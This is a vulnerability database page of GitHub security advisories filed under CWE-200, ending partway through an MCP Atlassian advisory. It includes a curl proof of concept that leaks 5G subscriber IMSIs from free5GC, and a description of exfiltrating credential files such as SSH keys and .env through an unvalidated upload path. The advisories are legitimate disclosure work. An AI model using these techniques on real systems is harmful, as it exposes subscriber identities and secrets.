Common Weakness Enumeration

CWE-200

Discouraged

Exposure of Sensitive Information to an Unauthorized Actor

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

15598 vulnerabilities reference this CWE, most recent first.

GHSA-WRWH-RPQ4-87HF

Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-16 21:57
VLAI
Summary
free5gc UDR nudr-dr influenceData/subs-to-notify leaks SUPI in error response body without authentication
Details

Summary

An information disclosure vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to retrieve stored subscriber identifiers (SUPI/IMSI) with a single HTTP GET request requiring no parameters or credentials.

Details

The endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify (defined in 3GPP TS 29.519) requires at least one query parameter (dnns, snssais, supis, or internalGroupIds) to filter results.

In the free5GC UDR implementation, the input validation is present but ineffective because the handler does not return after sending the HTTP 400 error. The request handling flow is:

  1. The function HandleApplicationDataInfluenceDataSubsToNotifyGet in ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go (around line 2793) checks whether all of dnn, snssai, internalGroupId, and supi are empty.
  2. If they are all empty, it builds a problemDetails structure and calls c.JSON(http.StatusBadRequest, problemDetails) to send a 400 response, but it does not return afterwards.
  3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifyGetProcedure(c, dnn,snssai, internalGroupId, supi) defined in ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/processor/influence_data_subscriptions_collection.go.
  4. This processor function queries the data repository and writes the full list of Traffic Influence Subscriptions to the HTTP response body, including supis fields with SUPI/IMSI values.

As a result, a request without any query parameters produces a response where the HTTP status is 400 Bad Request, but the body contains both the error object and the full subscription list.

The missing return after sending the 400 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication, no prior knowledge of any subscriber identifier required.

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify"

Response (HTTP 400):

{"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided"}
[{"dnns":["internet"],
  "snssais":[{"sst":1,"sd":"000001"}],
  "supis":["imsi-222777483957498"],
  "notificationUri":"http://pcf.../npcf-callback/v1/nudr-notify/influence-data/imsi-222777483957498/1"}]

Impact

This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI (Service Based Interface) can enumerate SUPIs (Subscriber Permanent Identifiers / IMSI values) of registered users without any credentials or prior knowledge.

In a 5G network, the SUPI is the most sensitive subscriber identifier — its exposure breaks the privacy guarantees introduced by 3GPP with the SUCI (Subscription Concealed Identifier) mechanism, designed specifically to prevent SUPI tracking over the air. This vulnerability completely undermines that protection at the core network level.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

Note: an additional trigger exists — sending a malformed snssai parameter also bypasses validation due to a missing return after the deserialization error handler, producing the same information disclosure.

Patch

The vulnerability has been confirmed patched by adding the two missing return statements in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifyGet:

  1. After the c.JSON(http.StatusBadRequest, problemDetails) call in the snssai deserialization error branch.
  2. After the c.JSON(http.StatusBadRequest, problemDetails) call in the empty parameters validation block.

With the patch applied, a request without any query parameters now correctly returns HTTP 400 with only the error message, and no subscriber data is included in the response body.

The fix has been verified: after applying the patch and recompiling the UDR, the endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify returns HTTP 400 with only:

{"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs 
or SUPIs shall be provided"}

No SUPI or subscription data is leaked.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-202",
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:00:15Z",
    "nvd_published_at": "2026-04-16T00:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn information disclosure vulnerability in the UDR service allows any unauthenticated  attacker with access to the 5G Service Based Interface (SBI) to retrieve stored subscriber identifiers (SUPI/IMSI) with a single HTTP GET request requiring no parameters or credentials.\n\n### Details\nThe endpoint `GET /nudr-dr/v2/application-data/influenceData/subs-to-notify` (defined in 3GPP TS 29.519) requires at least one query parameter (`dnns`, `snssais`,  `supis`, or `internalGroupIds`) to filter results.\n\nIn the free5GC UDR implementation, the input validation is present but ineffective because the handler does not return after sending the HTTP 400 error. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifyGet` in  `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`  (around line 2793) checks whether all of `dnn`, `snssai`, `internalGroupId`, \n   and `supi` are empty.\n2. If they are all empty, it builds a `problemDetails` structure and calls `c.JSON(http.StatusBadRequest, problemDetails)` to send a 400 response, **but it does not return afterwards**.\n3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifyGetProcedure(c, dnn,snssai, internalGroupId, supi)` defined in  `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/processor/influence_data_subscriptions_collection.go`.\n4. This processor function queries the data repository and writes the full list of Traffic Influence Subscriptions to the HTTP response body, including `supis` fields with SUPI/IMSI values.\n\nAs a result, a request without any query parameters produces a response where the HTTP status is 400 Bad Request, but the body contains both the error object and the full subscription list.\n\nThe missing `return` after sending the 400 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication, no prior knowledge of any subscriber identifier required.\n\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify\"\n```\nResponse (HTTP 400):\n```json\n{\"status\":400,\"detail\":\"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided\"}\n[{\"dnns\":[\"internet\"],\n  \"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\n  \"supis\":[\"imsi-222777483957498\"],\n  \"notificationUri\":\"http://pcf.../npcf-callback/v1/nudr-notify/influence-data/imsi-222777483957498/1\"}]\n```\n\n### Impact\nThis is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI (Service Based Interface) can enumerate SUPIs (Subscriber Permanent Identifiers / IMSI values) of registered users without any credentials or prior knowledge.\n\nIn a 5G network, the SUPI is the most sensitive subscriber identifier \u2014 its exposure breaks the privacy guarantees introduced by 3GPP with the SUCI (Subscription Concealed Identifier) mechanism, designed specifically to prevent SUPI tracking over the air. This vulnerability completely undermines that protection at the core network level.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\nNote: an additional trigger exists \u2014 sending a malformed `snssai` parameter  also bypasses validation due to a missing return after the deserialization  error handler, producing the same information disclosure.\n\n### Patch\n\nThe vulnerability has been confirmed patched by adding the two missing `return` statements in `NFs/udr/internal/sbi/api_datarepository.go`, function `HandleApplicationDataInfluenceDataSubsToNotifyGet`:\n\n1. After the `c.JSON(http.StatusBadRequest, problemDetails)` call in the `snssai` deserialization error branch.\n2. After the `c.JSON(http.StatusBadRequest, problemDetails)` call in the empty parameters validation block.\n\nWith the patch applied, a request without any query parameters now correctly returns HTTP 400 with only the error message, and no subscriber data is included in the response body.\n\nThe fix has been verified: after applying the patch and recompiling the UDR, the endpoint `GET /nudr-dr/v2/application-data/influenceData/subs-to-notify` returns HTTP 400 with only:\n```\n{\"status\":400,\"detail\":\"At least one of DNNs, S-NSSAIs, Internal Group IDs \nor SUPIs shall be provided\"}\n```\nNo SUPI or subscription data is leaked.",
  "id": "GHSA-wrwh-rpq4-87hf",
  "modified": "2026-04-16T21:57:35Z",
  "published": "2026-04-14T20:00:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-wrwh-rpq4-87hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40245"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5gc UDR nudr-dr influenceData/subs-to-notify leaks SUPI in error response body without authentication"
}

GHSA-WRXQ-929Q-RJ83

Vulnerability from github – Published: 2022-05-17 03:32 – Updated: 2022-05-17 03:32
VLAI
Details

The EbmlElement::ReadCodedSizeValue function in libEBML before 1.3.3 allows context-dependent attackers to obtain sensitive information from process heap memory via a crafted length value in an EBML id, which triggers an invalid memory access.

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-8791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-01-29T19:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The EbmlElement::ReadCodedSizeValue function in libEBML before 1.3.3 allows context-dependent attackers to obtain sensitive information from process heap memory via a crafted length value in an EBML id, which triggers an invalid memory access.",
  "id": "GHSA-wrxq-929q-rj83",
  "modified": "2022-05-17T03:32:59Z",
  "published": "2022-05-17T03:32:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8791"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Matroska-Org/libebml/commit/24e5cd7c666b1ddd85619d60486db0a5481c1b90"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Matroska-Org/libebml/blob/release-1.3.3/ChangeLog"
    },
    {
      "type": "WEB",
      "url": "http://lists.matroska.org/pipermail/matroska-users/2015-October/006985.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2016-01/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3538"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV2C-2J47-6V9W

Vulnerability from github – Published: 2026-10-09 09:31 – Updated: 2026-10-09 15:31
VLAI
Details

The SendPress Newsletters WordPress plugin through 1.26.1.20 protects a logging endpoint with a hardcoded token that is the same on every site rather than a per-site secret, allowing unauthenticated users to read newsletter sending logs, including recipient email addresses.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-92990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-09T07:17:19Z",
    "severity": "MODERATE"
  },
  "details": "The SendPress Newsletters WordPress plugin through 1.26.1.20 protects a logging endpoint with a hardcoded token that is the same on every site rather than a per-site secret, allowing unauthenticated users to read newsletter sending logs, including recipient email addresses.",
  "id": "GHSA-wv2c-2j47-6v9w",
  "modified": "2026-10-09T15:31:29Z",
  "published": "2026-10-09T09:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92990"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/595c6a6b-d346-4ed4-9a4e-674d90a35e74"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV2F-3QHC-V627

Vulnerability from github – Published: 2022-05-17 02:40 – Updated: 2022-05-17 02:40
VLAI
Details

IBM Sterling B2B Integrator Standard Edition 5.2 stores potentially sensitive information from HTTP sessions that could be read by a local user. IBM X-Force ID: 126525.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-1349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-23T16:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling B2B Integrator Standard Edition 5.2 stores potentially sensitive information from HTTP sessions that could be read by a local user. IBM X-Force ID: 126525.",
  "id": "GHSA-wv2f-3qhc-v627",
  "modified": "2022-05-17T02:40:04Z",
  "published": "2022-05-17T02:40:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1349"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/126525"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22004209"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99236"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV3Q-VH98-3C66

Vulnerability from github – Published: 2022-05-01 23:41 – Updated: 2022-05-01 23:41
VLAI
Details

The kernel in IBM AIX 6.1 allows local users with ProbeVue privileges to read arbitrary kernel memory and obtain sensitive information via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-1598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-03-31T23:44:00Z",
    "severity": "MODERATE"
  },
  "details": "The kernel in IBM AIX 6.1 allows local users with ProbeVue privileges to read arbitrary kernel memory and obtain sensitive information via unspecified vectors.",
  "id": "GHSA-wv3q-vh98-3c66",
  "modified": "2022-05-01T23:41:40Z",
  "published": "2022-05-01T23:41:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1598"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1019606"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=isg1IZ09545"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28467"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0865"
    },
    {
      "type": "WEB",
      "url": "http://www14.software.ibm.com/webapp/set2/subscriptions/pqvcmjd?mode=18\u0026ID=4153"
    },
    {
      "type": "WEB",
      "url": "http://www14.software.ibm.com/webapp/set2/subscriptions/pqvcmjd?mode=18\u0026ID=4154"
    },
    {
      "type": "WEB",
      "url": "http://www14.software.ibm.com/webapp/set2/subscriptions/pqvcmjd?mode=18\u0026ID=4155"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WV3W-MMPC-4V7X

Vulnerability from github – Published: 2022-05-17 04:55 – Updated: 2025-04-11 04:09
VLAI
Details

The llcp_sock_recvmsg function in net/nfc/llcp/sock.c in the Linux kernel before 3.9-rc7 does not initialize a certain length variable and a certain data structure, which allows local users to obtain sensitive information from kernel stack memory via a crafted recvmsg or recvfrom system call.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-3233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-04-22T11:41:00Z",
    "severity": "MODERATE"
  },
  "details": "The llcp_sock_recvmsg function in net/nfc/llcp/sock.c in the Linux kernel before 3.9-rc7 does not initialize a certain length variable and a certain data structure, which allows local users to obtain sensitive information from kernel stack memory via a crafted recvmsg or recvfrom system call.",
  "id": "GHSA-wv3w-mmpc-4v7x",
  "modified": "2025-04-11T04:09:46Z",
  "published": "2022-05-17T04:55:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/d26d6504f23e803824e8ebd14e52d4fc0a0b09cb"
    },
    {
      "type": "WEB",
      "url": "https://lkml.org/lkml/2013/4/14/107"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=d26d6504f23e803824e8ebd14e52d4fc0a0b09cb"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=d26d6504f23e803824e8ebd14e52d4fc0a0b09cb"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-April/103750.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-May/104480.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2013-12/msg00129.html"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2013:176"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/04/14/3"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1837-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WV55-RMPM-FHQ6

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-15 15:32
VLAI
Details

Insertion of sensitive information into a file in the Recovery Kit response file generation feature in Devolutions Server 2026.1.22.0, 2026.2.11.0 allows an attacker with access to the generated response file to obtain the Azure Key Vault client secret in cleartext, even when the option to exclude sensitive data is selected.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T19:16:51Z",
    "severity": "LOW"
  },
  "details": "Insertion of sensitive information into a file in the Recovery Kit response file generation feature in Devolutions Server 2026.1.22.0, 2026.2.11.0 allows an attacker with access to the generated response file to obtain the Azure Key Vault client secret in cleartext, even when the option to exclude sensitive data is selected.",
  "id": "GHSA-wv55-rmpm-fhq6",
  "modified": "2026-07-15T15:32:54Z",
  "published": "2026-07-14T21:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15642"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories/DEVO-2026-0024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV73-VGPR-4WVC

Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31
VLAI
Details

Exposure of sensitive information to an unauthorized actor for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.

Severity
2.6 (Low)
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-27707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T17:15:38Z",
    "severity": "LOW"
  },
  "details": "Exposure of sensitive information to an unauthorized actor for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.",
  "id": "GHSA-wv73-vgpr-4wvc",
  "modified": "2025-08-12T18:31:29Z",
  "published": "2025-08-12T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27707"
    },
    {
      "type": "WEB",
      "url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01317.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WV8C-6MX2-XF4J

Vulnerability from github – Published: 2026-06-05 15:26 – Updated: 2026-06-05 15:26
VLAI
Summary
Omni: Reader-level users can retrieve imported cluster CA keys via ResourceService
Details

Summary

Omni supports importing standalone Talos clusters.

During this process, an ImportedClusterSecrets resource is created, which contains the full CA secrets bundle for the cluster being imported.

If these secrets are not rotated by the importing actor, an authenticated Omni user with Reader access can read this resource and gain full access to the Talos, Kubernetes and etcd APIs of the cluster.

Severity

  • Attack Vector: Adjacent: the attacker needs to be in the same network to be able to access Talos/Kubernetes APIs with the compromised keys.
  • Attack Complexity: High: the attacker needs a deep understanding of Omni's internals. The resource is only created for imported clusters, and is normally not represented to users via any high-level API.
  • Privileges Required: Low: the role Reader is sufficient for the attacker to be able to read an imported cluster's secrets.
  • User Interaction: Required: another user must have imported a cluster to Omni for this vulnerability to exist.
  • Scope: Changed: the leaked CA private keys let an attacker directly get full control on Kubernetes or Talos, beyond the limitations enforced by Omni.
  • Confidentiality Impact: High: full cluster CA private keys (Kubernetes, Talos, etcd, service account) are exposed.
  • Integrity Impact: High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.
  • Availability Impact: High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.

Impact

  • Any Reader-level account can exfiltrate the complete CA private key hierarchy (Kubernetes CA, etcd CA, service account key) of the imported clusters whose secrets are not yet rotated ("tainted" imported clusters).
  • With the Kubernetes CA private key, an attacker can sign certificates for any Kubernetes user or group, including system:masters, achieving cluster-admin access to the imported cluster entirely outside Omni's control plane.
  • Impact scope extends beyond Omni to every Kubernetes workload, credential, and secret stored in the affected imported cluster.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity
7.6 (High)
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T15:26:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOmni supports importing standalone Talos clusters.\n\nDuring this process, an ImportedClusterSecrets resource is created, which contains the full CA secrets bundle for the cluster being imported.\n\nIf these secrets are not rotated by the importing actor, an authenticated Omni user with Reader access can read this resource and gain full access to the Talos, Kubernetes and etcd APIs of the cluster.\n\n## Severity\n\n- **Attack Vector:** Adjacent: the attacker needs to be in the same network to be able to access Talos/Kubernetes APIs with the compromised keys.\n- **Attack Complexity:** High: the attacker needs a deep understanding of Omni\u0027s internals. The resource is only created for imported clusters, and is normally not represented to users via any high-level API.\n- **Privileges Required:** Low: the role `Reader` is sufficient for the attacker to be able to read an imported cluster\u0027s secrets.\n- **User Interaction:** Required: another user must have imported a cluster to Omni for this vulnerability to exist.\n- **Scope:** Changed: the leaked CA private keys let an attacker directly get full control on Kubernetes or Talos, beyond the limitations enforced by Omni.\n- **Confidentiality Impact:** High: full cluster CA private keys (Kubernetes, Talos, etcd, service account) are exposed.\n- **Integrity Impact:** High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.\n- **Availability Impact:** High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.\n\n## Impact\n\n- Any Reader-level account can exfiltrate the complete CA private key hierarchy (Kubernetes CA, etcd CA, service account key) of the imported clusters whose secrets are not yet rotated (\"tainted\" imported clusters).\n- With the Kubernetes CA private key, an attacker can sign certificates for any Kubernetes user or group, including `system:masters`, achieving cluster-admin access to the imported cluster entirely outside Omni\u0027s control plane.\n- Impact scope extends beyond Omni to every Kubernetes workload, credential, and secret stored in the affected imported cluster.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-wv8c-6mx2-xf4j",
  "modified": "2026-06-05T15:26:24Z",
  "published": "2026-06-05T15:26:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-wv8c-6mx2-xf4j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siderolabs/omni"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omni: Reader-level users can retrieve imported cluster CA keys via ResourceService"
}

GHSA-WV8V-V4C5-V75J

Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34
VLAI
Summary
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
Details

Summary

The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).

Details

Data flow (source → sink)

Step Location Role
1 src/mcp_atlassian/servers/main.py:498-504 Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers.
2 src/mcp_atlassian/servers/main.py:584-595 When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements.
3 src/mcp_atlassian/utils/urls.py:97-104 validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check.
4 src/mcp_atlassian/servers/dependencies.py:544-545 The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server.
5 src/mcp_atlassian/servers/confluence.py:1358-1361 The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization.
6 src/mcp_atlassian/confluence/attachments.py:64-79 The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place.
7 src/mcp_atlassian/confluence/attachments.py:477 Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server.
8 src/mcp_atlassian/jira/attachments.py:374-386 Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb").

Key code evidence

# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65:     file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))}   # ← sink

# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375:     file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file:                    # ← sink
387:     attachment = self.jira.add_attachment(

Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.

